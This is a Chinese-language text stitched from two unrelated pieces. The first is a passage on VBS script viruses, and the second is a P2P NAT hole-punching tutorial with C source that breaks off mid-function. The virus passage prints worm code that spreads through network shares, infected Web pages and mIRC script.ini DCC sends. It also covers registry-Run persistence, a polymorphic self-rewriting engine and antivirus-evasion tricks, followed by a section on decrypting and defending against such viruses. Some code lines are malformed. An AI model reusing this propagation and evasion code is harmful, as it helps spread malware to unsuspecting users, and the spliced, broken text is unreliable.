welcome_msg = "网络连接搜索测试"
Set WSHNetwork = WScript.CreateObject("WScript.Network" ’创建一个网络对象
Set oPrinters = WshNetwork.EnumPrinterConnections ’创建一个网络打印机连接列表
WScript.Echo "Network printer mappings:"
For i = 0 to oPrinters.Count - 1 Step 2　　 ’显示网络打印机连接情况
WScript.Echo "Port " & oPrinters.Item(i) & " = " & oPrinters.Item(i+1)
Next
Set colDrives = WSHNetwork.EnumNetworkDrives ’创建一个网络共享连接列表
If colDrives.Count = 0 Then
MsgBox "没有可列出的驱动器。", vbInformation + vbOkOnly,welcome_msg
Else
strMsg = "当前网络驱动器连接: " & CRLF
For i = 0 To colDrives.Count - 1 Step 2
strMsg = strMsg & Chr(13) & Chr(10) & colDrives(i) & Chr(9) & colDrives(i + 1)
Next
MsgBox strMsg, vbInformation + vbOkOnly, welcome_msg’显示当前网络驱动器连接End If

  上面是一个用来寻找当前打印机连接和网络共享连接并将它们显示出来的完整脚本程序。在知道了共享连接之后，我们就可以直接向目标驱动器读写文件了。
    3）通过感染htm、asp、jsp、php等网页文件传播
    如今，WWW服务已经变得非常普遍，病毒通过感染htm等文件，势必会导致所有访问过该网页的用户机器感染病毒。
    病毒之所以能够在htm文件中发挥强大功能，采用了和绝大部分网页恶意代码相同的原理。基本上，它们采用了相同的代码，不过也可以采用其它代码，这段代码是病毒FSO,WSH等对象能够在网页中运行的关键。在注册表HKEY_CLASSES_ROOT\CLSID\下我们可以找到这么一个主键{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}，注册表中对它他的说明是“Windows Script Host Shell Object”，同样，我们也可以找到{0D43FE01-F093-11CF-8940-00A0C9054228}，注册表对它的说明是“FileSystem Object”，一般先要对COM进行初始化，在获取相应的组件对象之后，病毒便可正确地使用FSO、WSH两个对象，调用它们的强大功能。代码如下所示：
    Set Apple0bject = document.applets("KJ_guest"
    Apple0bject.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"
    Apple0bject.createInstance()　　　　　　 ’创建一个实例
    Set WsShell Apple0bject.Get0bject()
    Apple0bject.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}"
    Apple0bject.createInstance()　　　　　　 ’创建一个实例
    Set FSO = Apple0bject.Get0bject()
    对于其他类型文件，这里不再一一分析。
    4）通过IRC聊天通道传播
    病毒通过IRC传播一般来说采用以下代码（以MIRC为例）
Dim mirc
set fso=CreateObject("Scripting.FileSystemObject"
set mirc=fso.CreateTextFile("C:\mirc\script.ini" ’创建文件script.ini
fso.CopyFile Wscript.ScriptFullName, "C:\mirc\attachment.vbs", True ’将病毒文件备份到attachment.vbs
mirc.WriteLine "[script]"
mirc.WriteLine "n0=on 1:join:*.*: { if ( $nick !=$me ) {halt} /dcc send $nick C:\mirc\attachment.vbs }"
        '利用命令/ddc send $nick attachment.vbs给通道中的其他用户传送病毒文件
mirc.Close
    以上代码用来往Script.ini文件中写入一行代码，实际中还会写入很多其他代码。Script.ini中存放着用来控制IRC会话的命令，这个文件里面的命令是可以自动执行的。譬如，“歌虫”病毒TUNE.VBS就会修改c:\mirc\script.ini 和 c:\mirc\mirc.ini，使每当IRC用户使用被感染的通道时都会收到一份经由DDC发送的TUNE.VBS。同样，如果Pirch98已安装在目标计算机的c:\pirch98目录下，病毒就会修改c:\pirch98\events.ini和c:\pirch98\pirch98.ini，使每当IRC用户使用被感染的通道时都会收到一份经由DDC发送的TUNE.VBS。
    另外病毒也可以通过现在广泛流行的KaZaA进行传播。病毒将病毒文件拷贝到KaZaA的默认共享目录中，这样，当其他用户访问这台机器时，就有可能下载该病毒文件并执行。这种传播方法可能会随着KaZaA这种点对点共享工具的流行而发生作用。
    还有一些其他的传播方法，我们这里不再一一列举。
    3．VBS脚本病毒如何获得控制权
    如何获取控制权？这一个是一个比较有趣的话题，而VBS脚本病毒似乎将这个话题发挥的淋漓尽致。笔者在这里列出几种典型的方法：

  1）修改注册表项
    windows在启动的时候，会自动加载HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run项下的各键值所执向的程序。脚本病毒可以在此项下加入一个键值指向病毒程序，这样就可以保证每次机器启动的时候拿到控制权。vbs修改贮册表的方法比较简单，直接调用下面语句即可。
    wsh.RegWrite(strName, anyvalue [,strType])
    2）通过映射文件执行方式
    譬如，我们新欢乐时光将dll的执行方式修改为wscript.exe。甚至可以将exe文件的映射指向病毒代码。
    3）欺骗用户，让用户自己执行
    这种方式其实和用户的心理有关。譬如，病毒在发送附件时，采用双后缀的文件名，由于默认情况下，后缀并不显示，举个例子，文件名为beauty.jpg.vbs的vbs程序显示为beauty.jpg，这时用户往往会把它当成一张图片去点击。同样，对于用户自己磁盘中的文件，病毒在感染它们的时候，将原有文件的文件名作为前缀，vbs作为后缀产生一个病毒文件，并删除原来文件，这样，用户就有可能将这个vbs文件看作自己原来的文件运行。
    4）desktop.ini和folder.htt互相配合
    这两个文件可以用来配置活动桌面，也可以用来自定义文件夹。如果用户的目录中含有这两个文件，当用户进入该目录时，就会触发folder.htt中的病毒代码。这是新欢乐时光病毒采用的一种比较有效的获取控制权的方法。并且利用folder.htt，还可能触发exe文件，这也可能成为病毒得到控制权的一种有效方法！
    病毒获得控制权的方法还有很多，这方面作者发挥的余地也比较大。
    4．vbs脚本病毒对抗反病毒软件的几种技巧
    病毒要生存，对抗反病毒软件的能力也是必需的。一般来说，VBS脚本病毒采用如下几种对抗反病毒软件的方法：
    1）自加密
    譬如，新欢乐时光病毒，它可以随机选取密钥对自己的部分代码进行加密变换，使得每次感染的病毒代码都不一样，达到了多态的效果。这给传统的特征值查毒法带来了一些困难。病毒也还可以进一步的采用变形技术，使得每次感染后的加密病毒的解密后的代码都不一样。
    下面看一个简单的vbs脚本变形引擎(来自flyshadow)
Randomize
Set Of = CreateObject("Scripting.FileSystemObject"　　’创建文件系统对象
vC = Of.OpenTextFile(WScript.ScriptFullName, 1).Readall　　’读取自身代码
fS = Array("Of", "vC", "fS", "fSC" ’定义一个即将被替换字符的数组
For fSC = 0 To 3
vC = Replace(vC, fS(fSC), Chr((Int(Rnd * 22) + 65)) & Chr((Int(Rnd * 22) + 65)) & Chr((Int(Rnd * 22) + 65)) & Chr((Int(Rnd * 22) + 65))) ’取4个随机字符替换数组fS中的字符串
Next
Of.OpenTextFile(WScript.ScriptFullName, 2, 1).Writeline vC ’将替换后的代码写回文件
    上面这段代码使得该VBS文件在每次运行后，其Of，vC，fS，fSC四字符串都会用随机字符串来代替，这在很大程度上可以防止反病毒软件用特征值查毒法将其查出。
    2）巧妙运用Execute函数
    用过VBS程序的朋友是否会觉得奇怪：当一个正常程序中用到了FileSystemObject对象的时候，有些反病毒软件会在对这个程序进行扫描的时候报告说此Vbs文件的风险为高，但是有些VBS脚本病毒同样采用了FileSystemObject对象，为什么却又没有任何警告呢？原因很简单，就是因为这些病毒巧妙的运用了Execute方法。有些杀毒软件检测VBS病毒时，会检查程序中是否声明使用了FileSystemObject对象，如果采用了，这会发出报警。如果病毒将这段声明代码转化为字符串，然后通过Execute(String)函数执行，就可以躲避某些反病毒软件。
3）改变某些对象的声明方法
    譬如fso=createobject("scripting.filesystemobject"，我们将其改变为
fso=createobject("script"＋"ing.filesyste"＋"mobject"，这样反病毒软件对其进行静态扫描时就不会发现filesystemobject对象。
    4）直接关闭反病毒软件
    VBS脚本功能强大，它可以直接在搜索用户进程然后对进程名进行比较，如果发现是反病毒软件的进程就直接关闭，并对它的某些关键程序进行删除。
    5．Vbs病毒生产机的原理介绍
    所谓病毒生产机就是指可以直接根据用户的选择产生病毒源代码的软件。在很多人看来这或许不可思议，其实对脚本病毒而言它的实现非常简单。
    脚本语言是解释执行的、不需要编译，程序中不需要什么校验和定位，每条语句之间分隔得比较清楚。这样，先将病毒功能做成很多单独的模块，在用户做出病毒功能选择后，生产机只需要将相应的功能模块拼凑起来，最后再作相应的代码替换和优化即可。由于篇幅关系和其他原因，这里不作详细介绍。
    三、如何防范vbs脚本病毒
    1．如何从样本中提取（加密）脚本病毒
    对于没有加密的脚本病毒，我们可以直接从病毒样本中找出来，现在介绍一下如何从病毒样本中提取加密VBS脚本病毒，这里我们以新欢乐时光为例。
    用JediEdit打开folder.htt。我们发现这个文件总共才93行，第一行<BODY onload="vbscript:KJ_start()">，几行注释后，以<html>开始，</html>节尾。相信每个人都知道这是个什么类型的文件吧！
    第87行到91行，是如下语句：
87：<script language=vbscript>
88：ExeString = "Afi FkSeboa)EqiiQbtq)S^pQbtq)AadobaPfdj)>mlibL^gb`p)CPK...；后面省略，很长！
89：Execute("Dim KeyArr(3),ThisText"&vbCrLf&"KeyArr(0) = 3"&vbCrLf&"KeyArr(1) = 3"&vbCrLf&"KeyArr(2) = 3"&vbCrLf&"KeyArr(3) = 4"&vbCrLf&"For i=1 To Len(ExeString)"&vbCrLf&"TempNum = Asc(Mid(ExeString,i,1))"&vbCrLf&"If TempNum = 18 Then"&vbCrLf&"TempNum = 34"&vbCrLf&"End If"&vbCrLf&"TempChar = Chr(TempNum + KeyArr(i Mod 4))"&vbCrLf&"If TempChar = Chr(28) Then"&vbCrLf&"TempChar = vbCr"&vbCrLf&"ElseIf TempChar = Chr(29) Then"&vbCrLf&"TempChar = vbLf"&vbCrLf&"End If"&vbCrLf&"ThisText = ThisText & TempChar"&vbCrLf&"Next" 90：Execute(ThisText) 91：＜/script＞
    第87和91行不用解释了，第88行是一个字符串的赋值，很明显这是被加密过的病毒代码。看看89行最后的一段代码ThisText = ThisText & TempChar，再加上下面那一行，我们肯定能够猜到ThisText里面放的是病毒解密代码（熟悉vbs的兄弟当然也可以分析一下这段解密代码，too simple!就算完全不看代码也应该可以看得出来的)。第90行是执行刚才ThisText中的那段代码（经过解密处理后的代码）。
    那么，下一步该怎么做呢？很简单，我们只要在病毒代码解密之后，将ThisText的内容输出到一个文本文件就可以解决了。由于上面几行是vbscript,于是我创建了如下一个.txt文件：
    首先，copy第88、89两行到刚才建立的.txt文件，当然如果你愿意看看新欢乐时光的执行效果，你也可以在最后输入第90行。然后在下面一行输入创建文件和将ThisText写入文件vbs代码，整个文件如下所示：
ExeString = "Afi... ’ 第88行代码 Execute("Dim KeyAr... ’ 第89行代码
set fso=createobject("scripting.filesystemobject" ’ 创建一个文件系统对象
set virusfile=fso.createtextfile("resource.log",true) ’ 创建一个新文件resource.log，用以存放解密后的病毒代码 virusfile.writeline(ThisText) ’ 将解密后的代码写入resource.log
    OK！就这么简单，保存文件，将该文件后缀名.txt改为.vbs(.vbe也可以)，双击，你会发现该文件目录下多了一个文件resource.log，打开这个文件，怎么样？是不是“新欢乐时光”的源代码啊！
    2．vbs脚本病毒的弱点
    vbs脚本病毒由于其编写语言为脚本，因而它不会像PE文件那样方便灵活，它的运行是需要条件的（不过这种条件默认情况下就具备了）。笔者认为，VBS脚本病毒具有如下弱点：
    1）绝大部分VBS脚本病毒运行的时候需要用到一个对象：FileSystemObject
    2）VBScript代码是通过Windows Script Host来解释执行的。
    3）VBS脚本病毒的运行需要其关联程序Wscript.exe的支持。
    4）通过网页传播的病毒需要ActiveX的支持
    5）通过Email传播的病毒需要OE的自动发送邮件功能支持，但是绝大部分病毒都是以Email为主要传播方式的。

3．如何预防和解除vbs脚本病毒
    针对以上提到的VBS脚本病毒的弱点，笔者提出如下集中防范措施：
    1）禁用文件系统对象FileSystemObject
    方法：用regsvr32 scrrun.dll /u这条命令就可以禁止文件系统对象。其中regsvr32是Windows\System下的可执行文件。或者直接查找scrrun.dll文件删除或者改名。
    还有一种方法就是在注册表中HKEY_CLASSES_ROOT\CLSID\下找到一个主键{0D43FE01-F093-11CF-8940-00A0C9054228}的项，咔嚓即可。
    2）卸载Windows Scripting Host
    在Windows 98中（NT 4.0以上同理），打开［控制面板］→［添加/删除程序］→［Windows安装程序］→［附件］，取消“Windows Scripting Host”一项。
    和上面的方法一样，在注册表中HKEY_CLASSES_ROOT\CLSID\下找到一个主键{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}的项，咔嚓。
    3）删除VBS、VBE、JS、JSE文件后缀名与应用程序的映射点击［我的电脑］→［查看］→［文件夹选项］→［文件类型］，然后删除VBS、VBE、JS、JSE文件后缀名与应用程序的映射。
    4）在Windows目录中，找到WScript.exe，更改名称或者删除，如果你觉得以后有机会用到的话，最好更改名称好了，当然以后也可以重新装上。
    5）要彻底防治VBS网络蠕虫病毒，还需设置一下你的浏览器。我们首先打开浏览器，单击菜单栏里“Internet 选项”安全选项卡里的［自定义级别］按钮。把“ActiveX控件及插件”的一切设为禁用，这样就不怕了。呵呵，譬如新欢乐时光的那个ActiveX组件如果不能运行，网络传播这项功能就玩完了。
    6）禁止OE的自动收发邮件功能
    7）由于蠕虫病毒大多利用文件扩展名作文章，所以要防范它就不要隐藏系统中已知文件类型的扩展名。Windows默认的是“隐藏已知文件类型的扩展名称”，将其修改为显示所有文件类型的扩展名称。
    8）将系统的网络连接的安全级别设置至少为“中等”，它可以在一定程度上预防某些有害的Java程序或者某些ActiveX组件对计算机的侵害。
    9）呵呵，最后一项不说大家也应该知道了，杀毒软件确实很必要，尽管有些杀毒软件挺让广大用户失望，不过，选择是双方的哦。在这个病毒横飞的网络，如果您的机器没有装上杀毒软件我觉得确实挺不可思议的。
    四、对所有脚本类病毒发展的展望
    随着网络的飞速发展，网络蠕虫病毒开始流行，而VBS脚本蠕虫则更加突出，不仅数量多，而且威力大。由于利用脚本编写病毒比较简单，除了将继续流行目前的VBS脚本病毒外，将会逐渐出现更多的其它脚本类病毒，譬如PHP，JS，Perl病毒等。
    但是脚本并不是真正病毒技术爱好者编写病毒的最佳工具，并且脚本病毒解除起来比较容易、相对容易防范。笔者认为，脚本病毒仍将继续流行，但是能够具有像爱虫、新欢乐时光那样大影响的脚本蠕虫病毒只是少数。


论坛上经常有对P2P原理的讨论，但是讨论归讨论，很少有实质的东西产生（源代码）。呵呵，在这里我就用自己实现的一个源代码来说明UDP穿越NAT的原理。
首先先介绍一些基本概念：
NAT(Network Address Translators)，网络地址转换：网络地址转换是在IP地址日益缺乏的情况下产生的，它的主要目的就是为了能够地址重用。NAT分为两大类，基本的NAT和NAPT(Network Address/Port Translator)。
最开始NAT是运行在路由器上的一个功能模块。
最先提出的是基本的NAT，它的产生基于如下事实：一个私有网络（域）中的节点中只有很少的节点需要与外网连接（呵呵，这是在上世纪90年代中期提出的）。那么这个子网中其实只有少数的节点需要全球唯一的IP地址，其他的节点的IP地址应该是可以重用的。
因此，基本的NAT实现的功能很简单，在子网内使用一个保留的IP子网段，这些IP对外是不可见的。子网内只有少数一些IP地址可以对应到真正全球唯一的IP地址。如果这些节点需要访问外部网络，那么基本NAT就负责将这个节点的子网内IP转化为一个全球唯一的IP然后发送出去。(基本的NAT会改变IP包中的原IP地址，但是不会改变IP包中的端口)
关于基本的NAT可以参看RFC 1631
另外一种NAT叫做NAPT，从名称上我们也可以看得出，NAPT不但会改变经过这个NAT设备的IP数据报的IP地址，还会改变IP数据报的TCP/UDP端口。基本NAT的设备可能我们见的不多（呵呵，我没有见到过），NAPT才是我们真正讨论的主角。看下图：
Server S1
18.181.0.31:1235
|
^ Session 1 (A-S1) ^ |
| 18.181.0.31:1235 | |
v 155.99.25.11:62000 v |
|
NAT
155.99.25.11
|
^ Session 1 (A-S1) ^ |
| 18.181.0.31:1235 | |
v 10.0.0.1:1234 v |
|
Client A
10.0.0.1:1234
有一个私有网络10.*.*.*，Client A是其中的一台计算机，这个网络的网关（一个NAT设备）的外网IP是155.99.25.11(应该还有一个内网的IP地址，比如10.0.0.10)。如果Client A中的某个进程（这个进程创建了一个UDP Socket,这个Socket绑定1234端口）想访问外网主机18.181.0.31的1235端口，那么当数据包通过NAT时会发生什么事情呢？
首先NAT会改变这个数据包的原IP地址，改为155.99.25.11。接着NAT会为这个传输创建一个Session（Session是一个抽象的概念，如果是TCP，也许Session是由一个SYN包开始，以一个FIN包结束。而UDP呢，以这个IP的这个端口的第一个UDP开始，结束呢，呵呵，也许是几分钟，也许是几小时，这要看具体的实现了）并且给这个Session分配一个端口，比如62000，然后改变这个数据包的源端口为62000。所以本来是（10.0.0.1:1234->18.181.0.31:1235）的数据包到了互联网上变为了（155.99.25.11:62000->18.181.0.31:1235）。
一旦NAT创建了一个Session后，NAT会记住62000端口对应的是10.0.0.1的1234端口，以后从18.181.0.31发送到62000端口的数据会被NAT自动的转发到10.0.0.1上。（注意：这里是说18.181.0.31发送到62000端口的数据会被转发，其他的IP发送到这个端口的数据将被NAT抛弃）这样Client A就与Server S1建立以了一个连接。
呵呵，上面的基础知识可能很多人都知道了，那么下面是关键的部分了。
看看下面的情况：
Server S1 Server S2
18.181.0.31:1235 138.76.29.7:1235
| |
| |
+----------------------+----------------------+
|
^ Session 1 (A-S1) ^ | ^ Session 2 (A-S2) ^
| 18.181.0.31:1235 | | | 138.76.29.7:1235 |
v 155.99.25.11:62000 v | v 155.99.25.11:62000 v
|
Cone NAT
155.99.25.11
|
^ Session 1 (A-S1) ^ | ^ Session 2 (A-S2) ^
| 18.181.0.31:1235 | | | 138.76.29.7:1235 |
v 10.0.0.1:1234 v | v 10.0.0.1:1234 v
|
Client A
10.0.0.1:1234
接上面的例子，如果Client A的原来那个Socket(绑定了1234端口的那个UDP Socket)又接着向另外一个Server S2发送了一个UDP包，那么这个UDP包在通过NAT时会怎么样呢？
这时可能会有两种情况发生，一种是NAT再次创建一个Session，并且再次为这个Session分配一个端口号（比如：62001）。另外一种是NAT再次创建一个Session，但是不会新分配一个端口号，而是用原来分配的端口号62000。前一种NAT叫做Symmetric NAT，后一种叫做Cone NAT。我们期望我们的NAT是第二种，呵呵，如果你的NAT刚好是第一种，那么很可能会有很多P2P软件失灵。（可以庆幸的是，现在绝大多数的NAT属于后者，即Cone NAT）
好了，我们看到，通过NAT,子网内的计算机向外连结是很容易的（NAT相当于透明的，子网内的和外网的计算机不用知道NAT的情况）。
但是如果外部的计算机想访问子网内的计算机就比较困难了（而这正是P2P所需要的）。
那么我们如果想从外部发送一个数据报给内网的计算机有什么办法呢？首先，我们必须在内网的NAT上打上一个“洞”（也就是前面我们说的在NAT上建立一个Session），这个洞不能由外部来打，只能由内网内的主机来打。而且这个洞是有方向的，比如从内部某台主机（比如：192.168.0.10）向外部的某个IP(比如：219.237.60.1)发送一个UDP包，那么就在这个内网的NAT设备上打了一个方向为219.237.60.1的“洞”，（这就是称为UDP Hole Punching的技术）以后219.237.60.1就可以通过这个洞与内网的192.168.0.10联系了。（但是其他的IP不能利用这个洞）。
呵呵，现在该轮到我们的正题P2P了。有了上面的理论，实现两个内网的主机通讯就差最后一步了：那就是鸡生蛋还是蛋生鸡的问题了，两边都无法主动发出连接请求，谁也不知道谁的公网地址，那我们如何来打这个洞呢？我们需要一个中间人来联系这两个内网主机。
现在我们来看看一个P2P软件的流程，以下图为例：
Server S （219.237.60.1）
|
|
+----------------------+----------------------+
| |
NAT A (外网IP:202.187.45.3) NAT B (外网IP:187.34.1.56)
| (内网IP:192.168.0.1) | (内网IP:192.168.0.1)
| |
Client A (192.168.0.20:4000) Client B (192.168.0.10:40000)
首先，Client A登录服务器，NAT A为这次的Session分配了一个端口60000，那么Server S收到的Client A的地址是202.187.45.3:60000，这就是Client A的外网地址了。同样，Client B登录Server S，NAT B给此次Session分配的端口是40000，那么Server S收到的B的地址是187.34.1.56:40000。
此时，Client A与Client B都可以与Server S通信了。如果Client A此时想直接发送信息给Client B，那么他可以从Server S那儿获得B的公网地址187.34.1.56:40000，是不是Client A向这个地址发送信息Client B就能收到了呢？答案是不行，因为如果这样发送信息，NAT B会将这个信息丢弃（因为这样的信息是不请自来的，为了安全，大多数NAT都会执行丢弃动作）。现在我们需要的是在NAT B上打一个方向为202.187.45.3（即Client A的外网地址）的洞，那么Client A发送到187.34.1.56:40000的信息,Client B就能收到了。这个打洞命令由谁来发呢，呵呵，当然是Server S。
总结一下这个过程：如果Client A想向Client B发送信息，那么Client A发送命令给Server S，请求Server S命令Client B向Client A方向打洞。呵呵，是不是很绕口，不过没关系，想一想就很清楚了，何况还有源代码呢（侯老师说过：在源代码面前没有秘密 8）），然后Client A就可以通过Client B的外网地址与Client B通信了。
注意：以上过程只适合于Cone NAT的情况，如果是Symmetric NAT，那么当Client B向Client A打洞的端口已经重新分配了，Client B将无法知道这个端口（如果Symmetric NAT的端口是顺序分配的，那么我们或许可以猜测这个端口号，可是由于可能导致失败的因素太多，我们不推荐这种猜测端口的方法）。
下面是一个模拟P2P聊天的过程的源代码，过程很简单，P2PServer运行在一个拥有公网IP的计算机上，P2PClient运行在两个不同的NAT后（注意，如果两个客户端运行在一个NAT后，本程序很可能不能运行正常，这取决于你的NAT是否支持loopback translation，详见http://midcom-p2p.sourceforge.net/draft-ford-midcom-p2p-01.txt，当然，此问题可以通过双方先尝试连接对方的内网IP来解决，但是这个代码只是为了验证原理，并没有处理这些问题），后登录的计算机可以获得先登录计算机的用户名，后登录的计算机通过send username message的格式来发送消息。如果发送成功，说明你已取得了直接与对方连接的成功。
程序现在支持三个命令：send , getu , exit
send格式：send username message
功能：发送信息给username
getu格式：getu
功能：获得当前服务器用户列表
exit格式：exit
功能：注销与服务器的连接（服务器不会自动监测客户是否吊线）
代码很短，相信很容易懂，如果有什么问题，可以给我发邮件zhouhuis22@sina.com 或者在CSDN上发送短消息。同时，欢迎转发此文，但希望保留作者版权8-）。
最后感谢CSDN网友 PiggyXP 和 Seilfer的测试帮助
P2PServer.c
/* P2P 程序服务端
*
* 文件名：P2PServer.c
*
* 日期：2004-5-21
*
* 作者：shootingstars(zhouhuis22@sina.com)
*
*/
#pragma comment(lib, "ws2_32.lib")
#include "windows.h"
#include "..\proto.h"
#include "..\Exception.h"
UserList ClientList;
void InitWinSock()
{
WSADATA wsaData;
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
{
printf("Windows sockets 2.2 startup");
throw Exception("");
}
else{
printf("Using %s (Status: %s)\n",
wsaData.szDescription, wsaData.szSystemStatus);
printf("with API versions %d.%d to %d.%d\n\n",
LOBYTE(wsaData.wVersion), HIBYTE(wsaData.wVersion),
LOBYTE(wsaData.wHighVersion), HIBYTE(wsaData.wHighVersion));
}
}
SOCKET mksock(int type)
{
SOCKET
        sock = socket(AF_INET, type, 0);
if (sock <
        0)
{
printf("create socket error");
throw
        Exception("");
}
return sock;
}
stUserListNode GetUser(char
        *username)
{
for(UserList::iterator
        UserIterator=ClientList.begin();
UserIterator!=ClientList.end();
++UserIterator)
{
if( strcmp(
        ((*UserIterator)->userName), username) == 0 )
return
        *(*UserIterator);
}
throw Exception("not find this
        user");
}
int main(int argc, char*
        argv[])
{
try{
InitWinSock();
SOCKET PrimaryUDP;
PrimaryUDP = mksock(SOCK_DGRAM);
sockaddr_in local;
local.sin_family=AF_INET;
local.sin_port= htons(SERVER_PORT);
local.sin_addr.s_addr = htonl(INADDR_ANY);
int nResult=bind(PrimaryUDP,(sockaddr*)&local,sizeof(sockaddr));
if(nResult==SOCKET_ERROR)
throw Exception("bind error");
sockaddr_in sender;
stMessage recvbuf;
memset(&recvbuf,0,sizeof(stMessage));
  // 开始主循环.
//
        主循环负责下面几件事情:
// 一:读取客户端登陆和登出消息,记录客户列表
//
        二:转发客户p2p请求
for(;;)
{
int dwSender =
        sizeof(sender);
int ret = recvfrom(PrimaryUDP, (char
        *)&recvbuf, sizeof(stMessage), 0, (sockaddr *)&sender,
        &dwSender);
if(ret <= 0)
{
printf("recv error");
continue;
}
else
{
int messageType =
        recvbuf.iMessageType;
switch(messageType){
case
        LOGIN:
{
//  将这个用户的信息记录到用户列表中
printf("has
        a user login : %s\n",
        recvbuf.message.loginmember.userName);
stUserListNode *currentuser = new
        stUserListNode();
strcpy(currentuser->userName,
        recvbuf.message.loginmember.userName);
currentuser->ip =
        ntohl(sender.sin_addr.S_un.S_addr);
currentuser->port = ntohs(sender.sin_port);
ClientList.push_back(currentuser);
// 发送已经登陆的客户信息
int nodecount = (int)ClientList.size();
sendto(PrimaryUDP, (const char*)&nodecount, sizeof(int), 0, (const sockaddr*)&sender, sizeof(sender));
for(UserList::iterator UserIterator=ClientList.begin();
UserIterator!=ClientList.end();
++UserIterator)
{
sendto(PrimaryUDP, (const char*)(*UserIterator), sizeof(stUserListNode), 0, (const sockaddr*)&sender, sizeof(sender));
}
        break;
}
case
        LOGOUT:
{
// 将此客户信息删除
printf("has a user logout
        : %s\n",
        recvbuf.message.logoutmember.userName);
UserList::iterator removeiterator =
        NULL;
for(UserList::iterator
        UserIterator=ClientList.begin();
UserIterator!=ClientList.end();
++UserIterator)
{
if( strcmp(
        ((*UserIterator)->userName), recvbuf.message.logoutmember.userName)
        == 0 )
{
removeiterator =
        UserIterator;
break;
}
}
if(removeiterator != NULL)
ClientList.remove(*removeiterator);
break;
}
case
        P2PTRANS:
{
//
        某个客户希望服务端向另外一个客户发送一个打洞消息
printf("%s
        wants to p2p
        %s\n",inet_ntoa(sender.sin_addr),recvbuf.message.translatemessage.userName);
stUserListNode node =
        GetUser(recvbuf.message.translatemessage.userName);
sockaddr_in remote;
remote.sin_family=AF_INET;
remote.sin_port= htons(node.port);
remote.sin_addr.s_addr = htonl(node.ip);
in_addr tmp;
tmp.S_un.S_addr = htonl(node.ip);
printf("the address is %s,and port is %d\n",inet_ntoa(tmp), node.port);
stP2PMessage transMessage;
transMessage.iMessageType = P2PSOMEONEWANTTOCALLYOU;
transMessage.iStringLen = ntohl(sender.sin_addr.S_un.S_addr);
transMessage.Port = ntohs(sender.sin_port);
sendto(PrimaryUDP,(const char*)&transMessage, sizeof(transMessage), 0, (const sockaddr *)&remote, sizeof(remote));
break;
}
case GETALLUSER:
{
int command = GETALLUSER;
sendto(PrimaryUDP, (const char*)&command, sizeof(int), 0, (const sockaddr*)&sender, sizeof(sender));
int nodecount = (int)ClientList.size();
sendto(PrimaryUDP, (const char*)&nodecount, sizeof(int), 0, (const sockaddr*)&sender, sizeof(sender));
        for(UserList::iterator
        UserIterator=ClientList.begin();
UserIterator!=ClientList.end();
++UserIterator)
{
sendto(PrimaryUDP, (const
        char*)(*UserIterator), sizeof(stUserListNode), 0, (const
        sockaddr*)&sender,
        sizeof(sender));
}
break;
}
}
}
}
}
catch(Exception &e)
{
printf(e.GetMessage());
return 1;
}
return 0;
}

/* P2P 程序客户端
*
* 文件名：P2PClient.c
*
* 日期：2004-5-21
*
* 作者：shootingstars(zhouhuis22@sina.com)
*
*/
#pragma comment(lib,"ws2_32.lib")
#include "windows.h"
#include "..\proto.h"
#include "..\Exception.h"
#include <iostream>
using namespace std;
UserList ClientList;
#define COMMANDMAXC 256
#define MAXRETRY 5
SOCKET PrimaryUDP;
char UserName[10];
char ServerIP[20];
bool RecvedACK;
void InitWinSock()
{
WSADATA wsaData;
 if (WSAStartup(MAKEWORD(2, 2),
        &wsaData) != 0)
{
printf("Windows sockets 2.2
        startup");
throw
        Exception("");
}
else{
printf("Using %s
        (Status: %s)\n",
wsaData.szDescription,
        wsaData.szSystemStatus);
printf("with API versions %d.%d to
        %d.%d\n\n",
LOBYTE(wsaData.wVersion),
        HIBYTE(wsaData.wVersion),
LOBYTE(wsaData.wHighVersion),
        HIBYTE(wsaData.wHighVersion));
}
}
SOCKET mksock(int type)
{
SOCKET
        sock = socket(AF_INET, type, 0);
if (sock <
        0)
{
printf("create socket error");
throw
        Exception("");
}
return sock;
}
stUserListNode GetUser(char
        *username)
{
for(UserList::iterator
        UserIterator=ClientList.begin();
UserIterator!=ClientList.end();
++UserIterator)
{
if( strcmp(
        ((*UserIterator)->userName), username) == 0 )
return
        *(*UserIterator);
}
throw Exception("not find this
        user");
}
void BindSock(SOCKET sock)
{
sockaddr_in sin;
sin.sin_addr.S_un.S_addr = INADDR_ANY;
sin.sin_family = AF_INET;
sin.sin_port = 0;
if (bind(sock, (struct sockaddr*)&sin, sizeof(sin)) < 0)
throw Exception("bind error");
}
void ConnectToServer(SOCKET sock,char *username, char *serverip)
{
sockaddr_in remote;
remote.sin_addr.S_un.S_addr = inet_addr(serverip);
remote.sin_family = AF_INET;
remote.sin_port = htons(SERVER_PORT);
stMessage sendbuf;
sendbuf.iMessageType = LOGIN;
strncpy(sendbuf.message.loginmember.userName, username, 10);
sendto(sock, (const char*)&sendbuf, sizeof(sendbuf), 0, (const sockaddr*)&remote,sizeof(remote));
 int usercount;
int fromlen =
        sizeof(remote);
int iread = recvfrom(sock, (char
        *)&usercount, sizeof(int), 0, (sockaddr *)&remote,
        &fromlen);
if(iread<=0)
{
throw
        Exception("Login error\n");
}
 //
        登录到服务端后，接收服务端发来的已经登录的用户的信息
cout<<"Have
        "<<usercount<<" users logined
        server:"<<endl;
for(int i =
        0;i<usercount;i++)
{
stUserListNode *node = new
        stUserListNode;
recvfrom(sock, (char*)node,
        sizeof(stUserListNode), 0, (sockaddr *)&remote,
        &fromlen);
ClientList.push_back(node);
cout<<"Username:"<<node->userName<<endl;
in_addr tmp;
tmp.S_un.S_addr = htonl(node->ip);
cout<<"UserIP:"<<inet_ntoa(tmp)<<endl;
cout<<"UserPort:"<<node->port<<endl;
cout<<""<<endl;
}
}
void OutputUsage()
{
cout<<"You can input you command:\n"
<<"Command Type:\"send\",\"exit\",\"getu\"\n"
<<"Example : send Username Message\n"
<<" exit\n"
<<" getu\n"
<<endl;
}
/* 这是主要的函数：发送一个消息给某个用户(C)
*流程：直接向某个用户的外网IP发送消息，如果此前没有联系过
* 那么此消息将无法发送，发送端等待超时。
* 超时后，发送端将发送一个请求信息到服务端，
* 要求服务端发送给客户C一个请求，请求C给本机发送打洞消息
* 以上流程将重复MAXRETRY次
*/
bool SendMessageTo(char *UserName, char *Message)
{
char realmessage[256];
unsigned int UserIP;
unsigned short UserPort;
